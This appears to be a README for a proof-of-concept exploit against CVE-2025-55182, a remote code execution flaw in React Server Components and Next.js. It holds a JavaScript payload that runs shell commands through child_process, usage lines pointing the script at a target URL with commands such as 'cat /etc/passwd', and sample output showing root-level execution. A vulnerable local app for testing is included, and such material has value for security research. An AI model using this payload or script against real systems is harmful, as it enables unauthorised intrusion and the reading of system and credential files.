Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")

pip install -r requirements.txt

python cve_2025_55182_poc.py https://target.com --check-only

# Default command (id)
python cve_2025_55182_poc.py https://target.com

# Custom command
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"

cd vulnerable-app
npm install
npm run dev
# Server at http://localhost:3000

+======================================================================+
|  CVE-2025-55182 - React Server Components RCE                     |
|  React Flight Protocol Deserialization Vulnerability               |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01

[*] Target: http://localhost:3000
[*] Timeout: 15s

[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received

[2/2] Executing command: whoami
[+] Payload sent!

============================================================
RESULT: whoami
============================================================
root
============================================================

CVE-2025-55182/
├── cve_2025_55182_poc.py    # Main exploit script
├── requirements.txt          # Python dependencies
├── README.md                 # Documentation
└── vulnerable-app/           # Vulnerable Next.js app for testing
    ├── package.json
    ├── next.config.js
    └── app/
        ├── layout.js
        ├── page.js
        └── actions.js